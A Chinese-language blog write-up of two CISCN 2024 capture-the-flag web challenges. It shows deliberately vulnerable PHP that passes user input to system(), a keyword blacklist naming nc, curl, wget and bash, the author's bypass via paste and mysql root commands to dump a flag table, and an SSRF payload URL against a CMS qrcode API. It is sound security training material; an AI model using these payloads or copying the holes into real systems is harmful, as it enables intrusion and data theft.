ciscn2024

WEB

simple_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 <?php
ini_set('open_basedir', '/var/www/html/');
error_reporting(0);

if(isset($_POST['cmd'])){
$cmd = escapeshellcmd($_POST['cmd']);
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
system($cmd);
}
}


show_source(__FILE__);
?>

这题把flag放到数据库有点没想到

本题开始通过escapeshellcmd直接把符号过滤了,加上一大串命令的waf显得对这道题有点力不从心

有一个思路是可以利用php命令将后面输入语句进行解析并执行,这里就涉及到对linux命令的掌握程度了捏,当然了也可以用paste和rev

paste帮助文件如下:

rev帮助文件如下:

rev就是把文件里的每一行进行倒序输出:

这里用paste

直接查看/etc/passwd

有mysql的记录,可以试试能不能运行mysql命令

然后开始rce(原本想反弹shell的,但是不知道为什么就是出不来,只能rce了)

这里用到截断字符串的命令(我先列出sql的查询语句)

1
2
3
echo `mysql -uroot -proot -e "show databases"`;
echo `mysql -uroot -proot -e "use PHP_CMS;show tables"`;
echo `mysql -uroot -proot -e "use PHP_CMS;SELECT * FROM F1ag_Se3Re7"`;

easycms

之前扫过一遍,有敏感目录flag.php和Readme.txt,提示说flag.php如下:

1
2
3
4
5
6
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just input 'cmd' From 127.0.0.1";
return;
}else{
system($_GET['cmd']);
}

$_SERVER["REMOTE_ADDR"]返回的是真实的ip地址,没法伪造,但是存在SSRF

查看Readme.txt

有乱码,用wget获取

下载cms后看看它的漏洞报告

有关SSRF的是这个:

顺着源码查找一下qrcode,最终可定位到/dayrui/Fcms/Control/Api/Api.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
public function qrcode() {

$value = urldecode(\Phpcmf\Service::L('input')->get('text'));
$thumb = urldecode(\Phpcmf\Service::L('input')->get('thumb'));
$matrixPointSize = (int)\Phpcmf\Service::L('input')->get('size');
$errorCorrectionLevel = dr_safe_replace(\Phpcmf\Service::L('input')->get('level'));

//生成二维码图片
require_once CMSPATH.'Library/Phpqrcode.php';
$file = WRITEPATH.'file/qrcode-'.md5($value.$thumb.$matrixPointSize.$errorCorrectionLevel).'-qrcode.png';
if (!IS_DEV && is_file($file)) {
$QR = imagecreatefrompng($file);
} else {
\QRcode::png($value, $file, $errorCorrectionLevel, $matrixPointSize, 3);
if (!is_file($file)) {
exit('二维码生成失败');
}
$QR = imagecreatefromstring(file_get_contents($file));
if ($thumb) {
if (strpos($thumb, 'https://') !== false
&& strpos($thumb, '/') !== false
&& strpos($thumb, 'http://') !== false) {
exit('图片地址不规范');
}
$img = getimagesize($thumb);
if (!$img) {
exit('此图片不是一张可用的图片');
}
$code = dr_catcher_data($thumb);
if (!$code) {
exit('图片参数不规范');
}
$logo = imagecreatefromstring($code);
$QR_width = imagesx($QR);//二维码图片宽度
$logo_width = imagesx($logo);//logo图片宽度
$logo_height = imagesy($logo);//logo图片高度
$logo_qr_width = $QR_width / 4;
$scale = $logo_width/$logo_qr_width;
$logo_qr_height = $logo_height/$scale;
$from_width = ($QR_width - $logo_qr_width) / 2;
//重新组合图片并调整大小
imagecopyresampled($QR, $logo, (int)$from_width, (int)$from_width, 0, 0, (int)$logo_qr_width, (int)$logo_qr_height, (int)$logo_width, (int)$logo_height);
imagepng($QR, $file);
}
}

分析之后发现$thumb可控,因为这里的相关信息是填的图片地址

注意到$code = dr_catcher_data($thumb);

定位到/dayrui/Fcms/Control/Core/Helper.php

根据api.php构造payload:

index.php?c=api&s=api&m=qrcode&text=111&size=1024&level=1&thumb=http://127.0.0.1/flag.php

(为什么会这样构造可以看看Fcms下的init.php,然后再结合Api.php看看)

但是没有输出,只有一个二维码,扫出来只有text的内容

尝试使用302跳转来反弹shell

(先放着,我弄了好久都没弄出来)

作者

Ins0mn1a

发布于

2024-05-27

更新于

2024-07-31

许可协议

评论

:D 一言句子获取中...

加载中,最新评论有1分钟缓存...